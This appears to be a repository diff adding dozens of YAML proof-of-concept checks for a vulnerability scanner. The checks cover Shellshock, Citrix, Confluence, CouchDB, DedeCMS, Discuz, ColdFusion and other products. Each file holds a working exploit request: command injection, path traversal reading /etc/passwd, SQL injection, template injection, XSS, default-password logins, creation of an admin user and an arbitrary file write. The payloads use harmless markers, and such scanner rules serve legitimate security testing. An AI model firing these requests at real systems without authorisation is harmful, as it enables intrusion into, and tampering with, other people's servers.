response.body.startsWith("4C5A4950".hexdecode()) ||
response.body.startsWith("504B0304".hexdecode()) )
# - "377ABCAF271C" # 7z
# - "314159265359" # bz2
# - "53514c69746520666f726d6174203300" # SQLite format 3.
# - "1f8b" # gz tar.gz
# - "526172211A0700" # rar RAR archive version 1.50
# - "526172211A070100" # rar RAR archive version 5.0
# - "FD377A585A0000" # xz tar.xz
# - "1F9D" # z tar.z
# - "1FA0" # z tar.z
# - "4C5A4950" # lz
# - "504B0304" # zip
detail:
author: shadown1ng(https://github.com/shadown1ng)
+14
View File
@@ -0,0 +1,14 @@
name: poc-yaml-bash-cve-2014-6271
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: neal1991(https://github.com/neal1991)
links:
- https://github.com/opsxcq/exploit-CVE-2014-6271
@@ -0,0 +1,15 @@
name: poc-yaml-cacti-weathermap-file-write
rules:
- method: GET
path: >-
/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
follow_redirects: false
expression: response.status == 200
- method: GET
path: /plugins/weathermap/configs/test.php
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.secpulse.com/archives/47690.html
@@ -0,0 +1,9 @@
name: poc-yaml-chinaunicom-modem-default-password
rules:
- method: POST
path: /cu.html
body: >-
frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"] == "/menu.gch"
@@ -0,0 +1,11 @@
name: poc-yaml-citrix-cve-2019-19781-path-traversal
rules:
- method: GET
path: /vpn/../vpns/cfg/smb.conf
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"encrypt passwords") && response.body.bcontains(b"name resolve order")
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
+18
View File
@@ -0,0 +1,18 @@
name: poc-yaml-citrix-cve-2020-8191-xss
set:
r1: randomLowercase(6)
rules:
- method: POST
path: /menu/stapp
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
follow_redirects: true
expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
detail:
author: JingLing(https://hackfun.org/)
links:
- https://support.citrix.com/article/CTX276688
- https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
- https://dmaasland.github.io/posts/citrix.html
@@ -0,0 +1,20 @@
name: poc-yaml-citrix-cve-2020-8193-unauthorized
set:
user: randomLowercase(8)
pass: randomLowercase(8)
rules:
- method: POST
path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
headers:
Content-Type: application/xml
X-NITRO-USER: '{{user}}'
X-NITRO-PASS: '{{pass}}'
body: <appfwprofile><login></login></appfwprofile>
follow_redirects: false
expression: >
response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
detail:
author: bufsnake(https://github.com/bufsnake)
links:
- https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
- https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
@@ -0,0 +1,11 @@
name: poc-yaml-citrix-xenmobile-cve-2020-8209
rules:
- method: GET
path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-8209
@@ -1,15 +0,0 @@
name: poc-yaml-clusterEngine-rce-cve-2020-21224
rules:
- method: POST
path: /login
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
body: op=login&username=;`echo 12345678987654321`&password=
follow_redirects: false
expression: |
response.status==200 && response.body.bcontains(b'12345678987654321')
detail:
author: jdr
info: CVE-2020-21224(ClusterEngineV4.0 RCE)
@@ -0,0 +1,13 @@
name: poc-yaml-coldfusion-cve-2010-2861-lfi
rules:
- method: GET
path: >-
/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
detail:
version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-confluence-cve-2015-8399
rules:
- method: GET
path: /spaces/viewdefaultdecorator.action?decoratorName
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.anquanke.com/vul/id/1150798
@@ -0,0 +1,17 @@
name: poc-yaml-confluence-cve-2019-3396-lfi
rules:
- method: POST
path: /rest/tinymce/1/macro/preview
headers:
Content-Type: "application/json"
Host: localhost
Referer: http://localhost
body: >-
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
@@ -0,0 +1,15 @@
name: poc-yaml-confluence-cve-2021-26084
set:
r1: randomInt(100000, 999999)
r2: randomInt(100000, 999999)
rules:
- method: POST
path: /pages/createpage-entervariables.action?SpaceKey=x
body: |
queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: Loneyer(https://github.com/Loneyers)
links:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
@@ -0,0 +1,12 @@
name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
set:
rand: randomLowercase(6)
rules:
- method: GET
path: /s/{{rand}}/_/;/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<display-name>Confluence</display-name>") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-consul-rexec-rce
rules:
- method: GET
path: /v1/agent/self
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46073
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-consul-service-rce
rules:
- method: GET
path: /v1/agent/self
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46074
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-couchcms-cve-2018-7662
rules:
- method: GET
path: /includes/mysql2i/mysql2i.func.php
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in")
- method: GET
path: /addons/phpmailer/phpmailer.php
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in")
detail:
author: we1x4n(https://we1x4n.github.io/)
links:
- https://github.com/CouchCMS/CouchCMS/issues/46
+24
View File
@@ -0,0 +1,24 @@
name: poc-yaml-couchdb-cve-2017-12635
set:
r1: randomLowercase(32)
rules:
- method: PUT
path: '/_users/org.couchdb.user:{{r1}}'
headers:
Content-Type: application/json
Content-Length: '192'
body: |-
{
"type": "user",
"name": "{{r1}}",
"roles": ["_admin"],
"roles": [],
"password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9"
}
follow_redirects: false
expression: |
response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
+11
View File
@@ -0,0 +1,11 @@
name: poc-yaml-couchdb-unauth
rules:
- method: GET
path: /_config
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://www.seebug.org/vuldb/ssvid-91597
@@ -0,0 +1,20 @@
name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
groups:
poc1:
- method: GET
path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}
expression: |
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
poc2:
- method: GET
path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}
expression: |
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: x1n9Qi8
links:
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757
@@ -0,0 +1,14 @@
name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
rules:
- method: POST
path: /login.cgi
follow_redirects: false
body: >-
user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
expression: |
response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128
@@ -0,0 +1,22 @@
name: poc-yaml-dedecms-carbuyaction-fileinclude
rules:
- method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=alipay
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=cod
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes("Cod::respond()"))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "DedeCmsV5.x"
links:
- https://www.cnblogs.com/milantgh/p/3615986.html
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-dedecms-cve-2018-6910
rules:
- method: GET
path: /include/downmix.inc.php
expression: |
response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()"))
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md
@@ -0,0 +1,15 @@
name: poc-yaml-dedecms-cve-2018-7700-rce
set:
r: randomInt(2000000000, 2100000000)
rules:
- method: GET
path: >-
/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "V5.7SP2正式版(2018-01-09)"
links:
- https://xz.aliyun.com/t/2224
+26
View File
@@ -0,0 +1,26 @@
name: poc-yaml-dedecms-guestbook-sqli
set:
r: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200
search: action=admin&id=(?P<articleid>\d{1,20})
- method: GET
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "5.7"
links:
- https://blog.csdn.net/god_7z1/article/details/8180454
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-dedecms-membergroup-sqli
set:
r: randomInt(800000000, 1000000000)
rules:
- method: GET
path: >-
/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "5.6,5.7"
links:
- http://www.dedeyuan.com/xueyuan/wenti/1244.html
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-dedecms-url-redirection
rules:
- method: GET
path: >-
/plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
follow_redirects: false
expression: >
response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
detail:
author: cc_ci(https://github.com/cc8ci)
Affected Version: "V5.7 sp1"
links:
- https://blog.csdn.net/ystyaoshengting/article/details/82734888
+14
View File
@@ -0,0 +1,14 @@
name: poc-yaml-discuz-v72-sqli
rules:
- method: GET
path: >-
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info</b>: MySQL Query Error")
detail:
author: leezp
Affected Version: "discuz <=v7.2"
vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20"
links:
- https://blog.csdn.net/weixin_40709439/article/details/82780606
@@ -0,0 +1,11 @@
name: poc-yaml-discuz-wechat-plugins-unauth
rules:
- method: GET
path: '/plugin.php?id=wechat:wechat&ac=wxregister'
follow_redirects: false
expression: |
response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com")
detail:
author: JrD
links:
- https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI
@@ -0,0 +1,17 @@
name: poc-yaml-discuz-wooyun-2010-080723
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: >-
/viewthread.php?tid=10
headers:
Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}}));
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
version: Discuz 7.x/6.x
author: Loneyer
links:
- https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-django-CVE-2018-14574
rules:
- method: GET
path: //www.example.com
follow_redirects: false
expression: response.status == 301 && response.headers['location']=="//www.example.com/"
detail:
author: ivan
links:
- https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574

Some files were not shown because too many files have changed in this diff Show More